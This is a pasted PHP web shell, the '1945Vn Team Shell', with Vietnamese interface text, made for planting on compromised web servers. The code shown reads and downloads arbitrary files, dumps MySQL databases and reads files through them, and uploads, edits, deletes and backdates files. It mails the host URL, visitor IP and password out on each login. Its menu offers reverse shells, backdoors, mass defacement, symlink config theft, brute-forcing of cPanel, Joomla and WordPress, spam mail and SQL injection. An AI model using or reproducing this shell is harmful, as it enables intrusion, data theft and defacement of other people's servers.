· 9 years ago · Jul 24, 2017, 03:22 AM
1<?php
2$admin = array();
3$admin['check'] = true;
4$admin['pass'] = '1945VNTeAm';
5?>
6<?php
7/****************************************\
8|* 1945Vn Team Shell *|
9|* *|
10|* == Hacking & Security == *|
11\*****************************************/
12error_reporting(7);
13@set_magic_quotes_runtime(0);
14ob_start();
15$mtime = explode(' ', microtime());
16$starttime = $mtime[1] + $mtime[0];
17define('SA_ROOT', str_replace('\\', '/', dirname('index.php')) . '/');
18define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
19define('IS_COM', class_exists('COM') ? 1 : 0);
20define('IS_GPC', get_magic_quotes_gpc());
21$dis_func = get_cfg_var('disable_functions');
22define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
23@set_time_limit(0);
24foreach (array('_GET', '_POST') as $_request) {
25 foreach ($$_request as $_key => $_value) {
26 if ($_key{0} != '_') {
27 if (IS_GPC) {
28 $_value = s_array($_value);
29 }
30 $$_key = $_value;
31 }
32 }
33}
34$admin['cookiepre'] = '';
35$admin['cookiedomain'] = '';
36$admin['cookiepath'] = '/';
37$admin['cookielife'] = 86400; //1 Days // Time Dead Cookie
38if ($charset == 'utf8') {
39 header("content-Type: text/html; charset=utf-8");
40} elseif ($charset == 'big5') {
41 header("content-Type: text/html; charset=big5");
42} elseif ($charset == 'gbk') {
43 header("content-Type: text/html; charset=gbk");
44} elseif ($charset == 'latin1') {
45 header("content-Type: text/html; charset=iso-8859-2");
46}
47$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
48$timestamp = time();
49if ($action == "logout") {
50 scookie('duy', '', -86400 * 365); // cookie này giá trị là rỗng, thời hạn 1 năm
51 p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
52 p('<body background=black>');
53 exit;
54}
55if ($admin['check']) {
56 if ($doing == 'login') {
57 if ($admin['pass'] == $password) {
58 scookie('duy', $password);
59 $time_shell = "" . date("d/m/Y - H:i:s") . "";
60 $ip_remote = $_SERVER["REMOTE_ADDR"];
61 $from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
62 $to_email = '';
63 //
64 $server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
65 $linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: $ip_remote - Time: $time_shell - Pwd: $password";
66 $header = "From: $from_shellcode
67Reply-to: $from_shellcode";
68 @mail($to_email, $server_mail, $linkcr, $header);
69 p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
70 p('<body bgcolor=black><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
71<BR><BR><div align=center><font color=#18a2d0 face="tahoma" size=3><b>Chao Ban Chuc Ban Lam Viec Vui Ve :))</b><BR><img src=http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif></div>');
72 exit;
73 } else {
74 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Sai Pass Roi Hacker OI :D </blink><BR></font></div></td></tr></table>';
75 echo $err_mess;
76 }
77 }
78 if ($_COOKIE['duy']) {
79 if ($_COOKIE['duy'] != $admin['pass']) {
80 loginpage();
81 }
82 } else {
83 loginpage();
84 }
85}
86$errmsg = '';
87if ($action == 'phpinfo') {
88 if (IS_PHPINFO) {
89 phpinfo();
90 } else {
91 $errmsg = 'phpinfo() function has non-permissible';
92 }
93}
94if ($doing == 'downfile' && $thefile) {
95 if (!@file_exists($thefile)) {
96 $errmsg = 'The file you want Downloadable was nonexistent';
97 } else {
98 $fileinfo = pathinfo($thefile);
99 header('Content-type: application/x-' . $fileinfo['extension']);
100 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
101 header('Content-Length: ' . filesize($thefile));
102 @readfile($thefile);
103 exit;
104 }
105}
106if ($doing == 'backupmysql' && !$saveasfile) {
107 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
108 $table = array_flip($table);
109 $result = q("SHOW tables");
110 if (!$result) p('<h2>' . mysql_error() . '</h2>');
111 $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
112 header('Content-type: application/unknown');
113 header('Content-Disposition: attachment; filename=' . $filename);
114 $mysqldata = '';
115 while ($currow = mysql_fetch_array($result)) {
116 if (isset($table[$currow[0]])) {
117 $mysqldata.= sqldumptable($currow[0]);
118 }
119 }
120 mysql_close();
121 exit;
122}
123if ($doing == 'mysqldown') {
124 if (!$dbname) {
125 $errmsg = ' dbname';
126 } else {
127 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
128 if (!file_exists($mysqldlfile)) {
129 $errmsg = 'The file you want Downloadable was nonexistent';
130 } else {
131 $result = q("select load_file('$mysqldlfile');");
132 if (!$result) {
133 q("DROP TABLE IF EXISTS tmp_angel;");
134 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
135 q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
136 $result = q("select content from tmp_angel");
137 q("DROP TABLE tmp_angel");
138 }
139 $row = @mysql_fetch_array($result);
140 if (!$row) {
141 $errmsg = 'Load file failed ' . mysql_error();
142 } else {
143 $fileinfo = pathinfo($mysqldlfile);
144 header('Content-type: application/x-' . $fileinfo['extension']);
145 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
146 header("Accept-Length: " . strlen($row[0]));
147 echo $row[0];
148 exit;
149 }
150 }
151 }
152}
153?>
154 <?php
155//setup php for working with Unicode data
156mb_internal_encoding('UTF-8');
157mb_http_output('UTF-8');
158mb_http_input('UTF-8');
159mb_language('uni');
160mb_regex_encoding('UTF-8');
161ob_start('mb_output_handler');
162echo '<html>
163<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
164 <link rel="icon" href="http://www.iconeasy.com/icon/png/Movie%20%26%20TV/The%20Batman%20Vol.%202/The%20Joker.png" type="image/x-icon" />
165 <head>
166<title>.:: 1945VN Team ::. </title>
167<style type="text/css">
168body,td{font: 10pt Tahoma;size:5;color:red;text-shadow:0px 0px 3px;}
169
170
171
172a {color:#00D0FF;text-decoration:none;}
173
174a:hover{color:#00D0FF;text-decoration:underline;}
175
176.alt1 td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
177
178.alt2 td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
179
180.focus td{border-top:1px solid green;border-bottom:0px solid red;background:#8B7B8B;padding:5px 10px 5px 5px;}
181
182.fout1 td{border-top:1px solid green;border-bottom:0px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
183
184.fout td{border-top:1px solid green;border-bottom:0px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
185
186.head td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;font-weight:bold;}
187
188.head_small td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
189
190.head td span{font-weight:normal;}
191
192form{margin:0;padding:0;}
193
194h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
195
196ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
197
198u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
199
200input, textarea, button
201
202{
203
204 font-size: 9pt;
205
206 color: #00D0FF;text-shadow: 0px 0px 3px;
207
208 font-family: verdana, sans-serif;
209
210 background-color: black;
211
212 border-left: 1px solid #74A202;
213
214 border-top: 1px solid #74A202;
215
216 border-right: 1px solid #74A202;
217
218 border-bottom: 1px solid #74A202;
219
220}
221
222select
223
224{
225
226 font-size: 8pt;
227
228 font-weight: normal;
229
230 color: #ccc;
231
232 font-family: verdana, sans-serif;
233
234 background-color: #202020;
235
236}
237</style>
238<script type="text/javascript">
239function CheckAll(form) {
240 for(var i=0;i<form.elements.length;i++) {
241 var e = form.elements[i];
242 if (e.name != \'chkall\')
243 e.checked = form.chkall.checked;
244 }
245}
246function $(id) {
247 return document.getElementById(id);
248}
249function goaction(act){
250 $(\'goaction\').action.value=act;
251 $(\'goaction\').submit();
252}
253</script>
254</head>
255<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=>
256<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
257 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
258 <tr>
259 </td>
260 </tr>
261 </table>
262</div>
263 <script>
264 var ld=(document.all);
265 var ns4=document.layers;
266 var ns6=document.getElementById&&!document.all;
267 var ie4=document.all;
268 if (ns4)
269 ld=document.loading;
270 else if (ns6)
271 ld=document.getElementById("loading").style;
272 else if (ie4)
273 ld=document.all.loading.style;
274 function init()
275 {
276 if(ns4){ld.visibility="hidden";}
277 else if (ns6||ie4) ld.display="none";
278 }
279 </script>
280<table width="100%" border="0" cellpadding="0" cellspacing="0">
281 <tr class="head_small">
282 <td width=100%>
283 <table width=100%><tr class="head_small"><td width="150px">
284 <a href="#"><img style="-webkit-animation: Hello" src="http://i.imgur.com/CiG95C4.jpg" border=0 width="260" height="180"></a></td>
285 <td>
286
287 <span style="float:left;"> ';
288echo "<font color=#ff0082>Hostname: </font><font color=aqua>" . $_SERVER['HTTP_HOST'] . "<font>";;
289echo ' | Server IP: ';
290echo "<font color=yellow>" . gethostbyname($_SERVER['SERVER_NAME']) . "</font>";
291echo ' | Your IP: ';
292echo "<font color=yellow>" . $_SERVER['REMOTE_ADDR'] . "</font>";;
293echo ' | <a href="https://www.facebook.com/XGroups.gov/" target="_blank">';
294echo str_replace('.', '', 'Contact');;
295echo ' </a> | <a href="javascript:goaction(\'logout\');"><font color=red>Đăng Xuất|<a href="data:text/html;base64,DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+Li4uPC90aXRsZT4NCjwvaGVhZD4NCjxjZW50ZXI+PGZvbnQgZmFjZT0iQ29taWMgc2FucyBNUyIgc2l6ZT0iNSJjb2xvcj0iYmx1ZSI+DQpDb2RlZCBieTogREtJWg0KDQpYLUdyIFNoZWxsbCBpcyBjcmVhdGVkIGZvciBFZHVjYXRpb25hbCBQdXJwb3NlIGFuZCB0ZXN0aW5nIG9uIHlvdXIgb3duIHNlcnZlcg0KDQphbmQgbm90IHJlc3BvbnNpYmxlIGZvciBhbnkgbWlzdXNlIG9mIGl0Lg0KDQpUaGUgdGVybSBoYXMgbm93IGNoYW5nZWQga25vd24gYXMgYSBEZWZhY2VyIG5vd2FkYXlzLg0KDQpUb29scyBkb2VzIG5vdCBNYWRlIEhhY2tlcnMgLCBIYWNrZXJzIG1ha2UgVG9vbHMuDQoNCkRvIG5vdCBMZWFybiBUbyBIYWNrICwgSGFjayB0byBMZWFybi53a2t3ay4uDQoNCktlZXAgQ2FsbSBhbmQgZW5qb3kgSGFja2luZw0KDQpTcGVjaWFsIHRoYW5reiB0byA6IERLSVogLCBNb25raXJhLjwvZm9udD48YnIgLz48Y2VudGVyPg0KPGNlbnRlcj48YSBocmVmPWh0dHBzOi8vZmFjZWJvb2suY29tL1hHcm91cHMuZ292Lz5Db250YWN0IE1lPC9hPjxicj48L2NlbnRlcj4NCjxjZW50ZXI+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQp2YXIgYmFja2dyb3VuZCA9IFtdLCANCmluZGV4ID0gMDsNCmJhY2tncm91bmRbMF0gPSAiIzAwRkZGRiI7DQpiYWNrZ3JvdW5kWzFdID0gImJsYWNrIjsNCmJhY2tncm91bmRbMl0gPSAiIzdGRkYwMCI7DQpiYWNrZ3JvdW5kWzNdID0gIiM4QTJCRTIiOw0KYmFja2dyb3VuZFs0XSA9ICJ5ZWxsb3ciOw0KaW5kZXggPSBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBiYWNrZ3JvdW5kLmxlbmd0aCk7DQpkb2N1bWVudC53cml0ZSgiPHN0eWxlPmJvZHl7YmFja2dyb3VuZDoiK2JhY2tncm91bmRbaW5kZXhdKyJ9PC9zdHlsZT4iKTsNCjwvc2NyaXB0Pg0KPG1hcnF1ZWU+PGZvbnQgY29sb3I9InJlZCI+PGI+R3JlZXRpbmdzIDogQkRIICwgWG9senNlYyAsIERLSVosIEJJTlBDICwgQm95a2EgLCBTaHluLC4uLjwvYj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+PC9tYXJxdWVlPg0KDQoNCjwvYm9keT4="><font color=blue>About</font></a></b></font></span><br/>
296
297 ';
298$sport = $_SERVER['SERVER_PORT'];
299$curl_on = @function_exists('curl_version');
300$mysql_on = @function_exists('mysql_connect');
301$mssql_on = @function_exists('mssql_connect');
302$pg_on = @function_exists('pg_connect');
303$ora_on = @function_exists('ocilogon');
304echo (($safe_mode) ? ("Safe_mod: <b><font color=green>Mở</font></b> - ") : ("Safe_mod: <b><font color=red>Đóng</font></b> - "));
305echo "PHP version: <b>" . @phpversion() . "</b> - ";
306echo "cURL: " . (($curl_on) ? ("<b><font color=green>Mở</font></b> - ") : ("<b><font color=red>Đóng</font></b> - "));
307echo "MySQL: <b>";
308$mysql_on = @function_exists('mysql_connect');
309if ($mysql_on) {
310 echo "<font color=green>Mở</font></b> - ";
311} else {
312 echo "<font color=red>Đóng</font></b> - ";
313}
314echo "MSSQL: <b>";
315$mssql_on = @function_exists('mssql_connect');
316if ($mssql_on) {
317 echo "<font color=green>Mở</font></b> - ";
318} else {
319 echo "<font color=red>Đóng</font></b> - ";
320}
321echo "PostgreSQL: <b>";
322$pg_on = @function_exists('pg_connect');
323if ($pg_on) {
324 echo "<font color=green>Mở</font></b> - ";
325} else {
326 echo "<font color=red>Đóng</font></b> - ";
327}
328echo "Oracle: <b>";
329$ora_on = @function_exists('ocilogon');
330if ($ora_on) {
331 echo "<font color=green>Mở</font></b>";
332} else {
333 echo "<font color=red>Đóng</font></b><BR>";
334}
335echo "Disable functions : <b>";
336if ('' == ($df = @ini_get('disable_functions'))) {
337 echo "<font color=green>KHÔNG</font></b><BR>";
338} else {
339 echo "<font color=red>$df</font></b><BR>";
340}
341echo "<font color=#ff4e00 site=3>Uname -a</font>: <font color=violet>" . @substr(@php_uname(), 0, 120) . "</font>";
342$kernel = @php_uname();
343echo " - <a href=https://www.google.com.vn/search?q=Linux+Exploit+kernel+" . urlencode(@php_uname(r)) . " target='_blank'><font color=yellow><b>[Kernel Exploit]</b></font></a>";
344echo "<br>Port :<font color=lime> $sport</font></br>";
345echo "<font color=#ff4e00>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=#6eff00>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - <font color=fff400>uid=" . @getmyuid() . " (" . @get_current_user() . ") </font><font color=15ff00>gid=" . @getmygid() . "(" . @get_current_user() . ")</font><br><a href=javascript:goaction('phpini');><font color=#ff0082>--PHP.INI--</font>
346<a href=javascript:goaction('phpinfo');><font color=yellow>--[PHP INFO]--</font></a>
347<a href=http://www.bing.com/search?q=ip:" . urlencode(gethostbyname($_SERVER['SERVER_NAME'])) . " target='_blank'><font color=aqua>--[Bing IP]--</font></a>";
348?></td></tr></table></td>
349 </tr>
350
351 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
352 <tr class="alt1">
353 <td width=10%><style>
354 #abt-nav,#abt-nav ul {
355 list-style: none outside none;
356 margin: 0;
357 padding: 0;
358}
359#abt-nav {
360 background: url('http://i1065.photobucket.com/albums/u391/MonKira/Menu1_zpsbptloe3g.png');
361 clear: both;
362 font-size: 12px;
363 height: 45px;
364 padding: 0 0 0 15px;
365 position: relative;
366 width: 100%;
367}
368#abt-nav ul {
369 background-color: #222;
370 border:1px solid #222;
371 border-radius: 0 5px 5px 5px;
372 border-width: 0 1px 1px;
373 box-shadow: 0 5px 5px rgba(0, 0, 0, 0.5);
374 left: -9999px;
375 overflow: hidden;
376 position: absolute;
377 top: -9999px;
378 z-index: 2;
379 -moz-transform: scaleY(0);
380 -ms-transform: scaleY(0);
381 -o-transform: scaleY(0);
382 -webkit-transform: scaleY(0);
383 transform: scaleY(0);
384 -moz-transform-origin: 0 0;
385 -ms-transform-origin: 0 0;
386 -o-transform-origin: 0 0;
387 -webkit-transform-origin: 0 0;
388 transform-origin: 0 0;
389 -moz-transition: -moz-transform 0.1s linear;
390 -ms-transition: -ms-transform 0.1s linear;
391 -o-transition: -o-transform 0.1s linear;
392 -webkit-transition: -webkit-transform 0.1s linear;
393 transition: transform 0.1s linear;
394}
395#abt-nav li {
396 background: url('http://4.bp.blogspot.com/-3KmCMhrXTqg/VJN8Vdc3FaI/AAAAAAAABWA/chuPnYYih2Y/s1600/Menu2.png') no-repeat scroll right 5px transparent;
397 float: left;
398 position: relative;
399}
400#abt-nav li a {
401 color: #FFFFFF;
402 display: block;
403 float: left;
404 font-weight: normal;
405 height: 30px;
406 padding: 23px 20px 0;
407 position: relative;
408 text-decoration: none;
409 text-shadow: 1px 1px 1px #000000;
410}
411#abt-nav li:hover > a {
412 color: #00B4FF;
413}
414#abt-nav li:hover, #abt-nav a:focus, #abt-nav a:hover, #abt-nav a:active {
415 background: none repeat scroll 0 0 #121212;
416 outline: 0 none;
417}
418#abt-nav li:hover ul.subs {
419 left: 0;
420 top: 53px;
421 width: 180px;
422 -moz-transform: scaleY(1);
423 -ms-transform: scaleY(1);
424 -o-transform: scaleY(1);
425 -webkit-transform: scaleY(1);
426 transform: scaleY(1);
427}
428#abt-nav ul li {
429 background: none;
430 width: 100%;
431}
432#abt-nav ul li a {
433 float: none;
434}
435#abt-nav ul li:hover > a {
436 background-color: #121212;
437 color: #00B4FF;
438}
439#lavalamp {
440 background: url('http://1.bp.blogspot.com/-8IK_bj0a8D8/VJN8VWkwVHI/AAAAAAAABVw/CCv-Pyt7noE/s1600/Menu3.png') no-repeat scroll 0 0 transparent;
441 height: 16px;
442 left: 13px;
443 position: absolute;
444 top: 0px;
445 width: 64px;
446 -moz-transition: all 300ms ease;
447 -ms-transition: all 300ms ease;
448 -o-transition: all 300ms ease;
449 -webkit-transition: all 300ms ease;
450 transition: all 300ms ease;
451}
452#lavalamp:hover {
453 -moz-transition-duration: 3000s;
454 -ms-transition-duration: 3000s;
455 -o-transition-duration: 3000s;
456 -webkit-transition-duration: 3000s;
457 transition-duration: 3000s;
458}
459
460#abt-nav li:nth-of-type(1):hover ~ #lavalamp {
461 left: 17px;
462}
463#abt-nav li:nth-of-type(2):hover ~ #lavalamp {
464 left: 103px;
465}
466#abt-nav li:nth-of-type(3):hover ~ #lavalamp {
467 left: 178px;
468}
469#abt-nav li:nth-of-type(4):hover ~ #lavalamp {
470 left: 262px;
471}
472#abt-nav li:nth-of-type(5):hover ~ #lavalamp {
473 left: 344px;
474}
475#abt-nav li:nth-of-type(6):hover ~ #lavalamp {
476 left: 425px;
477}
478#abt-nav li:nth-of-type(7):hover ~ #lavalamp {
479 left: 522px;
480}
481#abt-nav li:nth-of-type(8):hover ~ #lavalamp {
482 left: 615px;
483}
484#abt-nav li:nth-of-type(9):hover ~ #lavalamp {
485 left: 705px;
486}
487#abt-nav li:nth-of-type(10):hover ~ #lavalamp {
488 left: 795px;
489}
490#abt-nav li:nth-of-type(11):hover ~ #lavalamp {
491 left: 900px;
492}
493#abt-nav li:nth-of-type(12):hover ~ #lavalamp {
494 left: 1005px;
495}
496#abt-nav li:nth-of-type(13):hover ~ #lavalamp {
497 left: 1100px;
498}
499#abt-nav li:nth-of-type(14):hover ~ #lavalamp {
500 left: 1190px;
501}
502#abt-nav li:nth-of-type(15):hover ~ #lavalamp {
503 left: 1287px;
504}
505#abt-nav li:nth-of-type(16):hover ~ #lavalamp {
506 left: 1377px;
507}
508#abt-nav li:nth-of-type(17):hover ~ #lavalamp {
509 left: 1475px;
510}
511#abt-nav li:nth-of-type(18):hover ~ #lavalamp {
512 left: 195px;
513}
514#abt-nav li:nth-of-type(19):hover ~ #lavalamp {
515 left: 1610px;
516}
517 </style>
518 <ul id="abt-nav">
519 <li><a href="javascript:history.back(-1)"><font color=#bf00ff>Quay Lai</font></a></li>
520 <li><a href="javascript:goaction('file');"><font color=#FFFF00>Trang chủ</font></a></li>
521 <li><a href="javascript:goaction('sqladmin');"><font color=#C38EC7>SQL</font></a></li>
522 <li><a href="javascript:goaction('etcpwd');"><font color=#EEE0E5>Get user</font></a></li>
523 <li><a class="hsubs" href="#"><font color=#FF3300>CGI Shell</font></a>
524 <ul class="subs">
525 <li><a href="javascript:goaction('log');" target="_blank" >CGI Shell Telnet (.log)</a></li>
526 <li><a href="javascript:goaction('pl');" target="_blank">CGI Shell Telnet (.pl)</a></li>
527 <li><a href="javascript:goaction('shtml');" target="_blank">SSI Shell .shtml</a></li>
528 </ul>
529 </li>
530
531 <li><a class="hsubs" href="#"><font color=#FF00FF>System</font></a>
532 <ul class="subs">
533 <li><a href="javascript:goaction('CPU');" >CPU</a></li>
534 <li><a href="javascript:goaction('USER');" >Users</a></li>
535 <li><a href="javascript:goaction('MEM');" >Memory</a></li>
536 </ul>
537 <li><a class="hsubs" href="#"><font color=#52F3FF>Tools</font></a>
538 <ul class="subs">
539 <li><a href="javascript:goaction('md5');">Encode Md5</a></li>
540 <li><a href="javascript:goaction('Scanshell');">Scanshell</a></li>
541 <li><a href="javascript:goaction('spam');">Spam Mail</a></li>
542 <li><a href="javascript:goaction('zipcode');">Zip Code</a></li>
543 <li><a href="javascript:goaction('priv8');">Priv8 Python</a></li>
544 <li><a href="javascript:goaction('pack');">Shell Pack</a></li>
545 <li><a href="javascript:goaction('Jump');">Jump</a></li>
546 <li><a href="javascript:goaction('findconfig');">Find Config</a></li>
547 <li><a href="javascript:goaction('find');">Admin Page Finder</a></li>
548
549
550 </ul>
551
552 </li>
553 <li><a href="javascript:goaction('symroot');"><font color=#5EFB6E>Get Root</font></a></li>
554
555 <li><a class="hsubs" href="#"><font color=#FF00FF>Symlink</font></a>
556 <ul class="subs">
557 <li><a href="javascript:goaction('symljnk');">Domain-User</a></li>
558 <li><a href="javascript:goaction('symtool');">Symlink Tools</a></li>
559 <li><a href="javascript:goaction('fakesym');">Fake Symlink</a></li>
560 <li><a href="javascript:goaction('allconfig');">Config All</a></li>
561 <li><a href="javascript:goaction('reverseip');">Reverseip</a></li>
562 <li><a href="https://pastebin.com/raw/ZeFmKRMp">Tut Local By Marion001</a></li>
563 </ul>
564 </li>
565
566
567 <li><a href="#;"><font color=#ADFF2F>Back Connect</font></a>
568 <ul class="subs">
569 <li><a href="javascript:goaction('backconnect');">Back Conect Perl/C</a></li>
570 <li><a href="javascript:goaction('bcphp');">Back Conect PHP</a></li>
571 </ul>
572
573 </li>
574 <li><a class="hsubs" href="#"><font color=#00abff>Mass Deface</font></a>
575 <ul class="subs">
576 <li><a href="javascript:goaction('zone-h');">Notified</a></li>
577 <li><a href="javascript:goaction('massfd');">User Folder</a></li>
578 <li><a href="javascript:goaction('massr');">Mass With Root</a></li>
579
580
581
582 </ul>
583 </li>
584 <li><a class="hsubs" href="#"><font color=#6CC417>Command</font></a>
585 <ul class="subs">
586 <li><a href="javascript:goaction('command');">Execute Command</a></li>
587 <li><a href="javascript:goaction('termi');">DIE Group Terminal</a></li>
588 <li><a href="javascript:goaction('comode');">CMD</a></li>
589 </ul></li>
590 <li><a href="#"><font color=#EE3B3B>Back Door</font></a>
591 <ul class="subs">
592 <li><a href="javascript:goaction('backdoor');">Back Door PHP</a></li>
593 <li><a href="javascript:goaction('weevely');">Back Door Weevely</a></li>
594
595 </ul></li>
596 <li><a href="javascript:goaction('df');"><font color=#FF69B4>Deface</font></a></li>
597
598 <li><a class="hsubs" href="#"><font color=#6CC417>Brute</font></a>
599 <ul class="subs">
600 <li><a href="javascript:goaction('brute');" >Brute Cpanel</a></li>
601 <li><a href="javascript:goaction('joomla');" >Brute Joomla</a></li>
602 <li><a href="javascript:goaction('brutewp');" >Brute Wordpress</a></li>
603 </ul> </li>
604 <li><a class="hsubs" href="#"><font color=#9370D8>Exploit</font></a>
605 <ul class="subs">
606 <li><a href="javascript:goaction('wpedit');" >WP Edit</a></li>
607 <li><a href="javascript:goaction('sqlin');" >SQL Injection</a></li>
608
609 </ul></li>
610
611
612 <div id="lavalamp"></div>
613</ul>
614
615 </td>
616 </tr>
617</table>
618<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
619<?php
620//setup php for working with Unicode data
621mb_internal_encoding('UTF-8');
622mb_http_output('UTF-8');
623mb_http_input('UTF-8');
624mb_language('uni');
625mb_regex_encoding('UTF-8');
626ob_start('mb_output_handler');
627formhead(array('name' => 'goaction'));
628makehide('action');
629formfoot();
630$errmsg && m($errmsg);
631!$dir && $dir = '.';
632$nowpath = getPath(SA_ROOT, $dir);
633if (substr($dir, -1) != '/') {
634 $dir = $dir . '/';
635}
636$uedir = ue($dir);
637if (!$action || $action == 'file') {
638 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
639 if ($doing == 'deldir' && $thefile) {
640 if (!file_exists($thefile)) {
641 m($thefile . ' directory does not exist');
642 } else {
643 m('Thư mục được xóa ' . (deltree($thefile) ? basename($thefile) . ' thành công' : 'thất bại'));
644 }
645 } elseif ($newdirname) {
646 $mkdirs = $nowpath . $newdirname;
647 if (file_exists($mkdirs)) {
648 m('Thư mục đã tồn tại');
649 } else {
650 m('Thư mục được tạo ' . (@mkdir($mkdirs, 0777) ? 'thành công' : 'thất bại'));
651 @chmod($mkdirs, 0777);
652 }
653 } elseif ($doupfile) {
654 m('File tải lên ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'thành công' : 'thất bại'));
655 } elseif ($editfilename && $filecontent) {
656 $fp = @fopen($editfilename, 'w');
657 m('Lưu file ' . (@fwrite($fp, $filecontent) ? 'thành công' : 'thất bại'));
658 @fclose($fp);
659 } elseif ($pfile && $newperm) {
660 if (!file_exists($pfile)) {
661 m('The original file does not exist');
662 } else {
663 $newperm = base_convert($newperm, 8, 10);
664 m('Thay đổi phân quyền ' . (@chmod($pfile, $newperm) ? 'thành công' : 'Thất bại'));
665 }
666 } elseif ($oldname && $newfilename) {
667 $nname = $nowpath . $newfilename;
668 if (file_exists($nname) || !file_exists($oldname)) {
669 m($nname . ' has already existed or original file does not exist');
670 } else {
671 m(basename($oldname) . ' Đổi tên ' . basename($nname) . (@rename($oldname, $nname) ? ' thành công' : 'thất bại'));
672 }
673 } elseif ($sname && $tofile) {
674 if (file_exists($tofile) || !file_exists($sname)) {
675 m('The goal file has already existed or original file does not exist');
676 } else {
677 m(basename($tofile) . ' Sao chép ' . (@copy($sname, $tofile) ? basename($tofile) . ' thành công' : 'thất bại'));
678 }
679 } elseif ($curfile && $tarfile) {
680 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
681 m('The goal file has already existed or original file does not exist');
682 } else {
683 $time = @filemtime($tarfile);
684 m('Thay đổi thời gian sửa file ' . (@touch($curfile, $time, $time) ? 'thành công' : 'thất bại'));
685 }
686 } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
687 if (!@file_exists($curfile)) {
688 m(basename($curfile) . ' does not exist');
689 } else {
690 $time = strtotime("$year-$month-$day $hour:$minute:$second");
691 m('Thay đổi thời gian sửa file ' . (@touch($curfile, $time, $time) ? 'thành công' : 'thất bại'));
692 }
693 } elseif ($doing == 'downrar') {
694 if ($dl) {
695 $dfiles = '';
696 foreach ($dl as $filepath => $value) {
697 $dfiles.= $filepath . ',';
698 }
699 $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
700 $dl = explode(',', $dfiles);
701 $zip = new PHPZip($dl);
702 $code = $zip->out;
703 header('Content-type: application/octet-stream');
704 header('Accept-Ranges: bytes');
705 header('Accept-Length: ' . strlen($code));
706 header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
707 echo $code;
708 exit;
709 } else {
710 m('Xin hãy chọn file');
711 }
712 } elseif ($doing == 'delfiles') {
713 if ($dl) {
714 $dfiles = '';
715 $succ = $fail = 0;
716 foreach ($dl as $filepath => $value) {
717 if (@unlink($filepath)) {
718 $succ++;
719 } else {
720 $fail++;
721 }
722 }
723 m('Xóa >> thành công ' . $succ . ' thất bại ' . $fail);
724 } else {
725 m('Xin hãy chọn file');
726 }
727 }
728 formhead(array('name' => 'createdir'));
729 makehide('newdirname');
730 makehide('dir', $nowpath);
731 formfoot();
732 formhead(array('name' => 'fileperm'));
733 makehide('newperm');
734 makehide('pfile');
735 makehide('dir', $nowpath);
736 formfoot();
737 formhead(array('name' => 'copyfile'));
738 makehide('sname');
739 makehide('tofile');
740 makehide('dir', $nowpath);
741 formfoot();
742 formhead(array('name' => 'rename'));
743 makehide('oldname');
744 makehide('newfilename');
745 makehide('dir', $nowpath);
746 formfoot();
747 formhead(array('name' => 'fileopform'));
748 makehide('action');
749 makehide('opfile');
750 makehide('dir');
751 formfoot();
752 $free = @disk_free_space($nowpath);
753 !$free && $free = 0;
754 $all = @disk_total_space($nowpath);
755 !$all && $all = 0;
756 $used = $all - $free;
757 $used_percent = @round(100 / ($all / $free), 2);
